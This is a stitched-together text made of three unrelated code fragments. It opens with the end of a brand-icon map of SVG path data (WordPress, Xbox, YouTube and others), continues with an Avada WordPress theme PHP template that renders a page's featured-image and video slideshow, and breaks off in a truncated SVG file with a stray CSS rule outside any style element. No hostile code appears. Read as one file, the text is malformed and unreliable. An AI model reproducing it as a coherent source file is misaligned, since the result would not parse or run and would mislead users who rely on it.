8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z"],
	"wodu": [640, 512, [], "e088", "M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z"],
	"wolf-pack-battalion": [512, 512, [], "f514", "M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z"],
	"wordpress": [512, 512, [], "f19a", "M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z"],
	"wordpress-simple": [512, 512, [], "f411", "M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z"],
	"wpbeginner": [512, 512, [], "f297", "M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z"],
	"wpexplorer": [512, 512, [], "f2de", "M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z"],
	"wpforms": [448, 512, [], "f298", "M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z"],
	"wpressr": [496, 512, [], "f3e4", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z"],
	"xbox": [512, 512, [], "f412", "M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z"],
	"xing": [384, 512, [], "f168", "M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z"],
	"xing-square": [448, 512, [], "f169", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z"],
	"x-twitter": [512, 512, [], "e9ca", "M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z"],
	"x-twitter-square": [448, 512, [], "e9c9", "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm297.1 84L257.3 234.6 379.4 396H283.8L209 298.1 123.3 396H75.8l111-126.9L69.7 116h98l67.7 89.5L313.6 116h47.5zM323.3 367.6L153.4 142.9H125.1L296.9 367.6h26.3z"],
	"y-combinator": [448, 512, [], "f23b", "M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z"],
	"yahoo": [512, 512, [], "f19e", "M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z"],
	"yammer": [512, 512, [], "f840", "M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z"],
	"yandex": [256, 512, [], "f413", "M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z"],
	"yandex-international": [320, 512, [], "f414", "M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z"],
	"yarn": [496, 512, [], "f7e3", "M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z"],
	"yelp": [384, 512, [], "f1e9", "M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"],
	"yoast": [448, 512, [], "f2b1", "M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z"],
	"youtube": [576, 512, [], "f167", "M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"],
	"youtube-square": [448, 512, [], "f431", "M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z"],
	"zhihu": [640, 512, [], "f63f", "M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z"]
  	}
  }
<?php
/**
 * Featured images for page.
 *
 * @package Avada
 * @subpackage Templates
 */

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'Direct script access denied.' );
}

$video           = '';
$featured_images = '';

if ( ! post_password_required( get_the_ID() ) ) {
	if ( Avada()->settings->get( 'featured_images_pages' ) && ! is_archive() ) {
		$pyre_video = apply_filters( 'privacy_iframe_embed', fusion_get_page_option( 'video', get_the_ID() ) );
		if ( 0 < avada_number_of_featured_images() || $pyre_video ) {
			if ( $pyre_video ) {
				$video = '<li><div class="full-video">' . $pyre_video . '</div></li>';
			}

			if ( has_post_thumbnail() && fusion_get_option( 'show_first_featured_image' ) ) {
				$attachment_data = Avada()->images->get_attachment_data( get_post_thumbnail_id() );
				if ( is_array( $attachment_data ) ) {
					$featured_images .= '<li><a href="' . esc_url( $attachment_data['url'] ) . '" data-rel="iLightbox[gallery' . get_the_ID() . ']" title="' . esc_attr( $attachment_data['caption_attribute'] ) . '" data-title="' . esc_attr( $attachment_data['title_attribute'] ) . '" data-caption="' . esc_attr( $attachment_data['caption_attribute'] ) . '">';
					$featured_images .= '<img src="' . esc_url( $attachment_data['url'] ) . '" alt="' . esc_attr( $attachment_data['alt'] ) . '" />';
					$featured_images .= '</a></li>';
				}
			}

			$i = 2;
			while ( $i <= Avada()->settings->get( 'posts_slideshow_number' ) ) :

				$attachment_new_id = fusion_get_featured_image_id( 'featured-image-' . $i, 'page' );

				if ( $attachment_new_id ) {
					$attachment_data = Avada()->images->get_attachment_data( $attachment_new_id );

					$featured_images .= '<li><a href="' . esc_url( $attachment_data['url'] ) . '" data-rel="iLightbox[gallery' . get_the_ID() . ']" title="' . esc_attr( $attachment_data['caption_attribute'] ) . '" data-title="' . esc_attr( $attachment_data['title_attribute'] ) . '" data-caption="' . esc_attr( $attachment_data['caption_attribute'] ) . '">';
					$featured_images .= '<img src="' . esc_url( $attachment_data['url'] ) . '" alt="' . esc_attr( $attachment_data['alt'] ) . '" />';
					$featured_images .= '</a></li>';
				}
				$i++;
			endwhile;
			?>
			<div class="fusion-flexslider fusion-flexslider-loading flexslider post-slideshow">
				<ul class="slides">
					<?php echo $video . $featured_images; // phpcs:ignore WordPress.Security.EscapeOutput ?>
				</ul>
			</div>
			<?php
		}
	}
}
<?xml version="1.0" encoding="utf-8"?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 48 48" style="enable-background:new 0 0 48 48;" xml:space="preserve">

	.st0{fill:#F1F3F5;}
